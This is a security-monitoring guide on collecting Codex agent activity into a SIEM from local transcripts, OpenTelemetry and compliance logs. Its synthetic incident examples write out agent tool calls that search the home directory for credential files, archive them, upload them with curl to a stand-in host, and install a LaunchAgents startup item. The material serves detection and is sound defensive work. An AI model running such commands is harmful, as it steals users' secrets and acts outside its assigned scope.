tl;dr
You want to see what people are doing in Codex from your SIEM. Codex gives you three ways to get that activity out:
- Local transcripts: a JSONL file per session on each user’s machine. Full commands and output, but it stays on the laptop.
- OpenTelemetry (OTel): structured events Codex sends to a collector you run. Off by default. You switch it on in
config.toml. - Compliance Logs Platform: OpenAI’s central
CODEX_LOGfiles with prompts, responses, and tool input, for eligible managed workspaces.
Our advice: if your workspace is eligible, collect CODEX_LOG files into your SIEM first, because they hold the prompt and the tool input for every covered client. Add OTel for live approval decisions and failures. Collect local transcripts only when you investigate one machine.
This guide walks through each source from scratch, shows the record structure we observed in Codex 0.153.4, and ends with a setup you can copy. If you also run Claude Code, the Claude Code logging guide covers the same ground for Anthropic’s agent.
Versions used: Codex desktop application and bundled CLI 0.153.4. We observed the local transcript fields in that version. OpenTelemetry and Compliance Logs Platform behavior comes from OpenAI’s documentation, reviewed on September 22, 2026. The incident and collector-normalized examples are synthetic.
What happens when someone uses Codex
Every log source records part of one loop. A user types a prompt. Codex decides to call a tool, usually a shell command or a file patch. Depending on the approval policy, the user or the configuration allows it. The tool runs and returns output, and Codex either calls another tool or answers.
- 1PromptThe user asks for something
message · PROMPT_SENT - 2Tool callCodex asks to run a tool
function_call - 3ApprovalAllowed by policy or the user?
codex.tool_decision - 4ResultWhat the tool returned
function_call_output - 5Turn endsComplete or aborted
task_complete
Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.
The sources at a glance
-
Local · per session
Session transcript
sessions/.../What did the agent do?*.jsonl -
Local · on by default
Prompt history
history.jsonlWhat did the user ask across sessions? -
Local · diagnostic
Desktop logs
*.logWhat did the application do? -
Central · opt-in
OpenTelemetry
codex.*What is happening across the fleet? -
Central · managed
Compliance logs
CODEX_LOGWhat did OpenAI retain centrally?
| Source | Where it lives | On by default? | What it contains | Best for |
|---|---|---|---|---|
| Session transcript | ~/.codex/sessions/ on each machine |
Yes | Messages, tool calls with full arguments, tool output, turn settings | Investigating one session in full |
| Prompt history | ~/.codex/history.jsonl on each machine |
Yes | Typed prompts across sessions | Finding which session to open |
| Desktop logs | ~/Library/Logs/com.openai.codex/ |
Yes | Application diagnostics: Git, worktrees, connections | Troubleshooting the app |
| OpenTelemetry | Your collector, then your SIEM | No | Prompt, approval, tool result, and API events. Prompt text only if enabled | Live monitoring across all users |
| Compliance Logs Platform | OpenAI, retrieved as files over an API | Eligible managed workspaces | Prompts, responses, tool input, status, some decisions | Central record across eligible Codex clients |
Two terms come up throughout:
- JSONL (JSON Lines) is a text file with one complete JSON object per line. Codex appends a line each time something happens.
- OpenTelemetry is an open standard for sending logs, metrics, and traces. Codex sends events to an OTel collector, which forwards them to your SIEM. Most SIEMs can receive OTel directly or through the collector.
Prompt history and desktop logs are worth knowing about, but neither belongs in a SIEM:
history.jsonllists the prompts a user typed across all their sessions. It has no agent replies, tool calls, or results. Use it to find which session to open. It is written by default (persistence = "save-all") at${CODEX_HOME:-$HOME/.codex}/history.jsonl, and is missing if a user sets[history] persistence = "none"inconfig.toml.- Desktop logs describe the application itself: Git file watchers, worktrees, browser and connection problems. A Git warning there means the app had trouble watching the repository. It does not mean the agent ran
git; that evidence comes from a tool call in the session transcript.
The rest of this guide covers the three sources that record agent activity.
Source 1: the local session transcript
The transcript is the most detailed record Codex writes: every message, every tool call with its full arguments, and every result. It is also the hardest to collect, because it sits on each user’s machine. We will find the files, read their structure, and then look at what suspicious activity looks like in them.
Find the files on macOS
On macOS, Codex session records live under CODEX_HOME, which defaults to ~/.codex. Desktop diagnostic logs live separately under the macOS Library. The common locations are:
~/.codex/sessions/
~/.codex/archived_sessions/
~/Library/Logs/com.openai.codex/YYYY/MM/DD/
If an organization changes CODEX_HOME, the session and archived-session directories move with it. Desktop diagnostic logs remain under the macOS Library path. See the Codex troubleshooting guide for the current paths and guidance on sharing logs safely.
Start by checking the installed version. The desktop application keeps a compatibility bundle at this path:
/Applications/Codex.app/Contents/Resources/codex --version
Then list the local Codex transcripts without opening their contents:
find "${CODEX_HOME:-$HOME/.codex}/sessions" \
-type f -name '*.jsonl' -print
Archived sessions use the same approach:
find "${CODEX_HOME:-$HOME/.codex}/archived_sessions" \
-type f -name '*.jsonl' -print
Desktop logs are organized into date directories:
find "$HOME/Library/Logs/com.openai.codex" \
-type f -name '*.log' -print
These files can contain sensitive information. Review their contents before sharing or uploading them.
How a transcript is structured
The following families and fields were observed in local Codex transcripts written by Codex 0.153.4. OpenAI does not currently publish a schema for these on-disk files. Its version-specific App Server schema covers a separate JSON-RPC interface, not local transcript storage. Treat the fields below as version-specific implementation details and test parsers against the Codex versions you operate. The examples retain observed field names and nesting, with replacement identifiers, paths, times, prompts, and outputs.
A local Codex transcript uses JSON Lines: each line is one complete JSON object. This example is pretty-printed so the structure is easier to see:
{
"timestamp": "2026-09-21T09:30:00.000Z",
"type": "response_item",
"ordinal": 18,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_01",
"arguments": "{\"cmd\":\"git status --short\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
The first type identifies the record family: this record is a response_item. The type inside payload identifies the specific response: this one is a function_call. The table below shows the other values that can appear. payload.arguments is a JSON-encoded string, so a parser may need to decode it separately.
Outer type |
Common inner type or fields | The question it helps answer |
|---|---|---|
session_meta |
id, cwd, cli_version, source, git, model_provider |
Which Codex session, version, repository, and launch source produced this file? |
turn_context |
turn_id, cwd, workspace_roots, model, approval_policy, sandbox and permission fields |
What boundaries and controls were in place for this user turn? |
response_item |
message, reasoning, function_call, function_call_output, custom_tool_call, custom_tool_call_output, agent_message, compaction |
What was said, requested of a tool, or returned by it? |
event_msg |
task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, token_count |
Did the turn start, finish, change settings, or stop early? |
token_usage_record |
Session, thread, turn, response, and usage fields | Which execution consumed the recorded tokens? |
compacted |
Replacement context and related identifiers | Was earlier context condensed during a long conversation? |
world_state |
Captured state and context fields | What state did Codex preserve for later reconstruction? |
- 1SessionWho, where, which version?
session_meta - 2TurnWhat scope and controls applied?
turn_context - 3CallWhich tool and arguments?
function_call - 4ResultWhat happened?
function_call_output - 5LifecycleComplete, failed, or aborted?
event_msg
To see which families exist in one local Codex transcript, choose the file explicitly and list only the outer and inner types:
session_file="$HOME/.codex/sessions/YYYY/MM/DD/example.jsonl"
jq -r '[.type, (.payload.type // "-")] | @tsv' "$session_file" \
| sort -u
Session metadata identifies the producer
session_meta identifies the session and its producer context. It can connect the local Codex transcript to a Codex version, launch source, working directory, model provider, and Git context.
{
"timestamp": "2026-09-21T09:29:55.000Z",
"type": "session_meta",
"ordinal": 0,
"payload": {
"id": "session_example_01",
"cwd": "/Users/alex/projects/example",
"originator": "codex_desktop",
"cli_version": "0.153.4",
"source": "desktop",
"model_provider": "openai",
"git": {
"branch": "codex/logging-demo",
"repository_url": "https://github.com/example/example.git"
}
}
}
This record helps during upgrades: if a parser suddenly stops recognizing a field, cli_version helps distinguish a schema change from malformed data.
Turn context establishes the expected boundary
One session can contain many user turns. A turn_context record describes the environment for a particular turn:
{
"timestamp": "2026-09-21T09:29:58.000Z",
"type": "turn_context",
"ordinal": 12,
"payload": {
"turn_id": "turn_example_01",
"root_turn_id": "turn_example_01",
"cwd": "/Users/alex/projects/example",
"model": "example-model",
"approval_policy": "on-request",
"workspace_roots": [
"/Users/alex/projects/example"
],
"collaboration_mode": {
"kind": "default"
}
}
}
Think of cwd and workspace_roots as the expected neighborhood. If a later call reads ~/.ssh, writes to ~/Library/LaunchAgents, or stages files from another repository, the contrast is immediately visible. Approval, sandbox, and permission fields record configured controls. Validating the safety of resulting actions requires additional evidence.
Response items contain the observable work
response_item is a broad container. Its inner payload.type distinguishes messages, reasoning summaries, tool calls, tool outputs, and compaction records. Private model reasoning may be absent or summarized. For security work, the observable call, its arguments, its output, and the context around it are the useful evidence.
A benign call and its result look like this:
{
"timestamp": "2026-09-21T09:30:00.000Z",
"type": "response_item",
"ordinal": 18,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_01",
"arguments": "{\"cmd\":\"npm test\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
{
"timestamp": "2026-09-21T09:30:04.120Z",
"type": "response_item",
"ordinal": 19,
"payload": {
"type": "function_call_output",
"call_id": "call_example_01",
"output": "Process exited with code 0\nFinal output:\n42 tests passed"
}
}
The same call_id joins intent to outcome. The first record says what Codex asked the tool to do; the second says what the tool returned. Arguments may themselves be JSON-encoded strings, so a collector may need to decode a second layer.
To isolate these pairs without printing unrelated prompts or messages:
jq -c '
select(
.type == "response_item" and
(.payload.type | test("^(function|custom_tool)_call(_output)?$"))
)
' "$session_file"
Lifecycle records show whether the turn ended cleanly
event_msg records give activity a beginning and an end. Observed inner types include task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, and token_count.
{
"timestamp": "2026-09-21T09:29:58.100Z",
"type": "event_msg",
"ordinal": 13,
"payload": {
"type": "task_started",
"turn_id": "turn_example_01"
}
}
{
"timestamp": "2026-09-21T09:30:04.300Z",
"type": "event_msg",
"ordinal": 20,
"payload": {
"type": "task_complete",
"turn_id": "turn_example_01",
"last_agent_message": "Tests pass."
}
}
An aborted turn is still worth retaining. A tool call may have completed before the user stopped the task. Completed file writes or network requests survive the interruption.
With the structure mapped, you can stop reading records in isolation and ask whether the sequence stays within the task’s expected scope.
What suspicious activity looks like
The examples in this section are synthetic scenarios built from the locally observed Codex record shape. Names and paths are fictional, secrets are placeholders, and .invalid makes the network destination deliberately non-operational.
No single command below proves malicious intent. The signal comes from the mismatch between the user’s task, the configured workspace, and the sequence of actions.
Pattern 1: secret discovery outside the workspace
Suppose the turn began in /Users/alex/projects/example, but the next call searches the home directory for common credential files:
{
"timestamp": "2026-09-21T10:04:12.000Z",
"type": "turn_context",
"ordinal": 31,
"payload": {
"turn_id": "turn_example_02",
"cwd": "/Users/alex/projects/example",
"workspace_roots": [
"/Users/alex/projects/example"
],
"approval_policy": "on-request"
}
}
{
"timestamp": "2026-09-21T10:04:13.500Z",
"type": "response_item",
"ordinal": 32,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_02",
"arguments": "{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials' -o -path '*/.ssh/id_*'\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
The target expands from one repository to the whole home directory, and the filenames indicate credential discovery. That scope change deserves review even if the command failed or required approval.
Pattern 2: collection followed by an outbound transfer
Individual commands can appear ambiguous. In sequence, an archive of configuration files followed by a network upload shows a collection-and-transfer pattern:
{
"timestamp": "2026-09-21T10:05:01.000Z",
"type": "response_item",
"ordinal": 40,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_03",
"arguments": "{\"cmd\":\"tar -czf /tmp/project-config.tgz .env config/\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
{
"timestamp": "2026-09-21T10:05:01.400Z",
"type": "response_item",
"ordinal": 41,
"payload": {
"type": "function_call_output",
"call_id": "call_example_03",
"output": "Process exited with code 0\nFinal output:\n"
}
}
{
"timestamp": "2026-09-21T10:05:03.000Z",
"type": "response_item",
"ordinal": 42,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_04",
"arguments": "{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
Here, sensitive-looking files are packaged, written to a temporary location, and then supplied to a network client. The timestamps and ordinals preserve the order; each call_id connects a call to its own result.
Pattern 3: persistence outside the repository
A coding task rarely needs to install a per-user startup item:
{
"timestamp": "2026-09-21T10:06:22.000Z",
"type": "response_item",
"ordinal": 51,
"payload": {
"type": "function_call",
"name": "exec_command",
"call_id": "call_example_05",
"arguments": "{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"
}
}
{
"timestamp": "2026-09-21T10:06:22.180Z",
"type": "response_item",
"ordinal": 52,
"payload": {
"type": "function_call_output",
"call_id": "call_example_05",
"output": "Process exited with code 0\nFinal output:\n"
}
}
{
"timestamp": "2026-09-21T10:06:22.300Z",
"type": "event_msg",
"ordinal": 53,
"payload": {
"type": "turn_aborted",
"turn_id": "turn_example_02",
"reason": "interrupted"
}
}
The destination is a macOS persistence location outside the declared workspace. The empty successful output suggests the copy completed. The later abort records only that the turn stopped and contains no reversal event.
Treat these examples as triage clues. Production detections need sequence, scope mismatch, and surrounding context to support a decision.
Putting it all together
In this synthetic incident, the user asks Codex to review one README file. The recorded activity then searches for credentials outside the repository, creates an archive, attempts to upload it, installs a startup item, and ends only when the turn is interrupted.
An end-to-end JSONL file for that incident would look like this. Each line is one complete event:
{"timestamp":"2026-09-21T10:04:10.000Z","type":"session_meta","ordinal":0,"payload":{"id":"session_example_02","cwd":"/Users/alex/projects/example","originator":"codex_desktop","cli_version":"0.153.4","source":"desktop","model_provider":"openai","git":{"branch":"main","repository_url":"https://github.com/example/example.git"}}}
{"timestamp":"2026-09-21T10:04:11.000Z","type":"response_item","ordinal":1,"payload":{"type":"message","role":"user","content":[{"type":"input_text","text":"Review README.md for spelling and clarity. Do not change anything outside this repository."}]}}
{"timestamp":"2026-09-21T10:04:11.100Z","type":"turn_context","ordinal":2,"payload":{"turn_id":"turn_example_02","cwd":"/Users/alex/projects/example","workspace_roots":["/Users/alex/projects/example"],"approval_policy":"on-request"}}
{"timestamp":"2026-09-21T10:04:11.200Z","type":"event_msg","ordinal":3,"payload":{"type":"task_started","turn_id":"turn_example_02"}}
{"timestamp":"2026-09-21T10:04:13.500Z","type":"response_item","ordinal":4,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_02","arguments":"{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials'\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:04:13.900Z","type":"response_item","ordinal":5,"payload":{"type":"function_call_output","call_id":"call_example_02","output":"Process exited with code 0\nFinal output:\n/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env\n"}}
{"timestamp":"2026-09-21T10:05:01.000Z","type":"response_item","ordinal":6,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_03","arguments":"{\"cmd\":\"tar -czf /tmp/project-config.tgz .env $HOME/.aws/credentials\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:01.400Z","type":"response_item","ordinal":7,"payload":{"type":"function_call_output","call_id":"call_example_03","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:05:03.000Z","type":"response_item","ordinal":8,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_04","arguments":"{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:03.300Z","type":"response_item","ordinal":9,"payload":{"type":"function_call_output","call_id":"call_example_04","output":"Process exited with code 6\nFinal output:\ncurl: could not resolve host: collector.example.invalid\n"}}
{"timestamp":"2026-09-21T10:06:22.000Z","type":"response_item","ordinal":10,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_05","arguments":"{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:06:22.180Z","type":"response_item","ordinal":11,"payload":{"type":"function_call_output","call_id":"call_example_05","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:06:22.300Z","type":"event_msg","ordinal":12,"payload":{"type":"turn_aborted","turn_id":"turn_example_02","reason":"interrupted"}}
Source 2: OpenTelemetry
Reading transcript files works for one laptop and one incident. To monitor every user from your SIEM, you need events sent to a central place as they happen. That is what OTel does.
Codex supports opt-in OpenTelemetry export for structured events, metrics, and traces. OpenAI documents event types covering conversation starts, API and streaming activity, user prompts, tool decisions, and tool results. The export is disabled by default.
- 1CodexEmits codex.* events on each machine
[otel] exporter - 2OTLP exportgRPC or HTTP to your endpoint
:4317 · :4318 - 3CollectorReceives, filters, forwards
OTel Collector - 4SIEMSearch, alert, retain
your index
Configuration belongs in the user-level ~/.codex/config.toml. Codex ignores otel settings placed in a project-local .codex/config.toml, preventing a repository from redirecting telemetry itself.
Who decides what is logged?
Codex decides which OTel events and fields exist. Whoever configures the machine decides which pipelines leave it, where they go, and whether raw prompt text is included.
This example enables structured logs, traces, and raw user prompt text. It disables the metrics exporter because aggregate counters are outside this detection path. Add it to the user-level ~/.codex/config.toml, then replace the collector address and header with values for your environment. The available values are listed in OpenAI’s Codex configuration reference.
[otel]
environment = "production"
log_user_prompt = true
exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
metrics_exporter = "none"
trace_exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
The settings divide responsibility between labeling, export, content, and collector access:
environment = "production"adds an environment label to every emitted event. Use it to separate development, staging, and production data in the collector.exportersends structuredcodex.*log events using OTLP over gRPC. Its nestedendpointandheadersvalues configure the collector connection.metrics_exporter = "none"keeps aggregate counters out of this detection-focused pipeline.trace_exporterexports traces using OTLP over gRPC and supplies its collector connection.log_user_prompt = trueincludes raw prompt text incodex.user_promptevents. Set it tofalsewhen the collector should receive prompt length without the prompt text.endpointis the organization-controlled collector address.example.invalidis reserved and will not send data anywhere.headersadds authentication or routing metadata.${OTLP_TOKEN}is read from the environment, which keeps the token out of this configuration file.
This configuration sends the most telemetry Codex exposes through these controls. Raw prompt text and tool output snippets can be sensitive, so the collector needs appropriate retention, redaction, and access controls.
Codex still defines which event types and fields exist. The settings do not provide a per-event allowlist or guarantee full tool output. For example, codex.tool_result contains an output snippet. Keep the local Codex transcript when an investigation needs the richer record. One incident, three views shows what each source keeps.
Codex product analytics are configured separately from these OTel exporters.
What a Codex OTel event contains
Codex leaves the session JSONL file in its local store. It creates new telemetry events, batches them asynchronously, and exports those batches using OTLP over HTTP or gRPC. Pending events are flushed when Codex shuts down.
Every event carries shared context such as the service name, Codex version, configured environment, conversation identifier, model, and sandbox or approval settings. The named event then adds its own fields. A collector or SIEM typically flattens that OTel envelope into something easier to query.
The following example is an illustrative, collector-normalized view of a codex.tool_result event. It uses the documented categories of data. Collector mapping determines the exact raw OTLP payload and field names:
{
"resource": {
"service": "codex",
"codex_version": "0.153.4",
"environment": "production"
},
"event": {
"name": "codex.tool_result",
"timestamp": "2026-09-21T10:05:01.400Z",
"common_attributes": {
"conversation_id": "conversation_example_01",
"model": "example-model",
"sandbox_policy": "workspace-write",
"approval_policy": "on-request"
},
"attributes": {
"duration_ms": 412,
"success": true,
"output": "Process exited with code 0; output snippet follows"
}
}
}
The exact OTLP wire representation depends on the selected protocol, and the field layout visible in a destination depends on how its collector maps resource attributes, log bodies, and event attributes. Treat the event name and documented semantics as the stable concepts; test the actual output of the Codex version and collector you operate before writing a parser.
One action can therefore produce different evidence in each source:
- The local Codex transcript may contain a
function_callwith the full encoded command and a separatefunction_call_outputjoined bycall_id. - OTel may emit a
codex.tool_decisiondescribing whether the action was approved and where that decision came from. - OTel may then emit a
codex.tool_resultsummarizing duration, success, and an output snippet.
Representative documented log events include:
| Event | Security-relevant context |
|---|---|
codex.conversation_starts |
Model, reasoning settings, and sandbox or approval policy |
codex.user_prompt |
Prompt length; content remains redacted unless explicitly enabled |
codex.tool_decision |
Whether a tool was approved or denied and where that decision came from |
codex.tool_result |
Tool duration, success, and an output snippet |
codex.api_request |
Attempt, status, duration, success, and error information |
codex.sse_event / codex.websocket_event |
Streaming or message kind, outcome, duration, and selected usage fields |
OTel can also export counters and duration histograms. For example, codex.tool.call can be grouped by tool and success, with codex.tool.call.duration_ms recording duration. Metrics answer volume and timing questions. Event or transcript records carry command or patch content.
Putting the OTel sequence together
The same synthetic incident could produce a central OTel view like the compact sequence below. This is an illustrative, collector-normalized representation. It is not a raw OTLP payload or a guaranteed event-for-event export. It uses documented event semantics and the preceding log_user_prompt = true setting.
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.conversation_starts","timestamp":"2026-09-21T10:04:10.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"reasoning_setting":"example-setting"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.user_prompt","timestamp":"2026-09-21T10:04:11.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"prompt_length":90,"prompt":"Review README.md for spelling and clarity. Do not change anything outside this repository."}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:04:13.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:04:13.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":"/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:00.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:01.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":""}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:02.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:03.300Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":300,"success":false,"output_snippet":"curl: could not resolve host: collector.example.invalid"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:06:21.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:06:22.180Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":180,"success":true,"output_snippet":""}}}
This central view records the conversation context, prompt, approval decisions, outcomes, timing, and selected result snippets. The prompt text appears because the preceding configuration enables log_user_prompt; with that setting disabled, the prompt length remains available while its content is redacted.
The sequence contains no full commands, complete outputs, transcript ordinals, call_id joins, or local turn_aborted record. Current official documentation also does not establish a per-call join between each decision and result. Shared conversation context and timestamps can support an investigation, but they do not show which exact command produced each result. Here, one snippet exposes credential-looking paths and another exposes the failed hostname. The two empty success snippets reveal no content about the archive creation or persistence write shown in the local transcript.
Source 3: the Compliance Logs Platform
If your organization has an eligible managed ChatGPT workspace, OpenAI keeps CODEX_LOG events for supported Codex activity and lets you download them. That covers local clients such as the CLI and IDE as well as web and cloud use, without touching anyone’s laptop. Eligibility, client coverage, and permissions still need validation in the target workspace. The OpenAI Admin API reference defines the event families and the fine-grained chatgpt.enterprise.compliance_logs_platform.codex_log.read scope.
You collect it as files. First list the files for a time window, then download each one:
GET /v1/compliance/workspaces/{workspace_id}/logs?event_type=CODEX_LOG&after={iso_8601_timestamp}
GET /v1/compliance/workspaces/{workspace_id}/logs/{log_file_id}
Equivalent organization-scoped routes are documented. The list route returns file metadata, not the events themselves. Use an Admin API key with only the Codex read scope, chatgpt.enterprise.compliance_logs_platform.codex_log.read. The broader chatgpt.enterprise.compliance_logs_platform.read scope also reads conversation messages and every other log type. The Compliance Logs Platform guide describes the file workflow and access model.
workspace_id="ws_EXAMPLE"
after="2026-09-21T00:00:00Z"
curl --fail-with-body --silent --show-error \
--request GET \
--get \
--url "https://api.chatgpt.com/v1/compliance/workspaces/${workspace_id}/logs" \
--data-urlencode "event_type=CODEX_LOG" \
--data-urlencode "after=${after}" \
--header "Authorization: Bearer ${OPENAI_ADMIN_KEY}"
The placeholders are deliberately inert. Keep the Admin key outside shell history and repositories, and write downloaded files only to an access-controlled evidence location. These files can contain prompts, responses, code, paths, tool arguments, and identifiers.
Map event families to detection questions
CODEX_LOG separates a session into explicit event families. Availability depends on the client and feature, so missing families remain a coverage question.
| Security question | Event family | Useful fields and boundaries |
|---|---|---|
| What did the user ask? | PROMPT_SENT |
session_id, prompt text, turn_id, call_id, model, and environment where present. Text can be empty for non-text content. |
| What did Codex return? | PROMPT_RESPONSE_RECEIVED |
Response text, response status, token counts, reasoning setting, service tier, and available correlation identifiers. |
| Which action was proposed? | TOOL_CALL_SUGGESTED |
Tool name and type, serialized tool_input, turn_id, call_id, and tool_call_id where present. |
| Did the Codex tool lifecycle finish? | TOOL_CALL_COMPLETED / TOOL_CALL_FAILED |
Status plus the shared tool-call fields. The general event schema does not document complete tool output. |
| Was a cloud action approved? | TOOL_DECISION |
Decision, source, tool name, and tool_call_id for Codex Cloud Agent. It omits prompts, arguments, outputs, and response content. |
| What happened through an app MCP tool? | APP_MCP_CALL / APP_MCP_RESULT |
Arguments on the call; status, error detail, and an optional truncated result preview on the result, joined by call_id. |
The broader catalog also includes execution, environment, plugin, access-token, and MCP elicitation lifecycle events. Build rules only from families validated for the relevant Codex client. A fleet rule that assumes Cloud Agent TOOL_DECISION coverage for every local CLI action creates a silent visibility gap.
Join prompt, action, and outcome without inventing certainty
The useful chain is ordered and contextual:
- 1PromptUser objective and boundary
session_id · turn_id - 2DecisionApproval outcome where covered
tool_call_id - 3ActionTool name and serialized input
call_id · tool_call_id - 4ResultStatus or bounded MCP preview
call_id - 5CorroborateHost, Git, identity, network, or service
independent record
Start from session_id, then link events with turn_id, call_id, or tool_call_id where the event family has them. When an ID is missing, leave it empty; two events close in time may be related, but that is a lead to check. event_id is for removing duplicate events at ingestion. It does not link actions.
A high-value synthetic detection sequence is:
PROMPT_SENTlimits work to one repository.TOOL_CALL_SUGGESTED.tool_inputtargets a credential path outside that repository.- A covered
TOOL_DECISIONrecords approval, or the decision remains unknown for that client. TOOL_CALL_COMPLETEDrecords a successful Codex lifecycle outcome.- Endpoint file telemetry confirms a read, and proxy or destination-service logs confirm any later transfer.
This is a reason to look, and it proves nothing on its own. Repository migrations, incident response, and admin work the user asked for can look the same. The prompt, who approved the call, and what the endpoint logs show decide how seriously to take it.
Collect continuously and preserve the delivery contract
The platform produces immutable files for roughly ten-minute windows, targets p99 delivery within 30 minutes, and retains files for 30 days. Delivery is at least once, late arrivals can appear, and duplicate events must be removed with stable event_id. The OpenAI Admin API reference describes those collection properties.
For durable detection, checkpoint the list cursor or time boundary, download every file before expiry, verify the acquired object, retain the raw JSONL, and de-duplicate during ingestion. Event timestamps may arrive out of order. Sort reconstructed activity by event time while keeping file identity and collector receipt time.
One incident, three views
In the synthetic incident used throughout this guide, a user asks Codex to review README.md. The agent then searches for credentials, archives them, tries to upload the archive, and installs a startup item. Each source records it differently:
| Local transcript | OpenTelemetry | CODEX_LOG files |
|
|---|---|---|---|
| The prompt and its scope (“do not change anything outside this repository”) | Yes | Only with log_user_prompt = true |
Yes, PROMPT_SENT |
Full commands (find, tar, curl, cp) |
Yes, in function_call arguments |
No | Yes, serialized tool_input in TOOL_CALL_SUGGESTED |
| What the commands returned | Yes, full output | Output snippet only | Status only for general tools |
| Who approved each call | Approval policy in turn_context |
Yes, codex.tool_decision |
TOOL_DECISION for Codex Cloud only |
| The interrupted turn | Yes, turn_aborted |
No | Not documented |
| How actions link | call_id, turn_id, line order |
Conversation ID and timestamps | session_id, turn_id, call_id, tool_call_id |
| Available centrally | No | Yes, as it happens | Yes, in files covering about ten minutes, with a p99 delivery target of 30 minutes |
None of the three proves that the upload failed on the network side or that the startup item ran. Endpoint, proxy, and DNS logs confirm what actually happened on the machine.
OpenAI does not document that the IDs line up across sources. The local session ID, the OTel conversation ID, and the Compliance session_id may refer to the same session. Until you have tested it for your clients and versions, treat a match on time and user as a lead.
Which should you send to your SIEM?
CODEX_LOG if you are eligible, then add OTel
Compliance files carry the content; OTel carries live decisions and failures.
Pros CODEX_LOG
- Prompt, response, and tool input for every covered client.
- Nothing to install or configure on laptops.
- Explicit IDs link prompt, tool call, and result.
- Immutable files with a stable
event_idfor de-duplication.
Cons CODEX_LOG
- Eligible managed workspaces only.
- Files arrive in batches, usually within 30 minutes (a p99 target).
- Files expire after 30 days, so collect continuously.
